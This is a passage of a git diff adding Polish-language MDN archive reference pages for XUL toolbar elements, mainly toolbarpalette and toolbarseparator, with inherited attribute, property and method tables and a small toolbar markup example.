+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbarpalette/index.html b/files/pl/mozilla/tech/xul/toolbarpalette/index.html
new file mode 100644
index 0000000000..2dc905a7ec
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbarpalette/index.html
@@ -0,0 +1,97 @@
+---
+title: toolbarpalette
+slug: Mozilla/Tech/XUL/toolbarpalette
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbarpalette
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p><b><span class="highlightred">Tylko Firefox</span></b>
+</p><p>Ten element jest paleta dostępnych elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Nie jest on wyświetlany, ale jest stosowany przez okno dialogowe dostosowywania paska narzędzi do wyświetlenia listy elementów. Dziecko musi być kompletną listą elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code> oraz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, które mogą być dodane do paska. Nie dodawaj żadnych separatorów, jako że są one dodawane automatycznie.
+</p><p>Możesz dodawać swoje własne przyciski do przeglądarki Firefox używając elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, który nakłada się na <code>toolbarpalette</code> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> <code>BrowserToolbarPalette</code>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbarseparator/index.html b/files/pl/mozilla/tech/xul/toolbarseparator/index.html
new file mode 100644
index 0000000000..2713769415
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbarseparator/index.html
@@ -0,0 +1,115 @@
+---
+title: toolbarseparator
+slug: Mozilla/Tech/XUL/toolbarseparator
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbarseparator
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Tworzy separator pomiędzy grupami pozycji paska narzędzi. Pod względem funkcjonalności jest równoważny do normalnego elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/separator" title="separator">separator</a></code>, lecz kilka <a href="pl/Motywy">motywów</a> może zastosować inny wygląd.
+</p>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;toolbox&gt;
+ &lt;toolbar&gt;
+ &lt;toolbarbutton label="Button 1" /&gt;
+ &lt;toolbarseparator /&gt;
+ &lt;toolbarbutton label="Button 2" /&gt;
+ &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
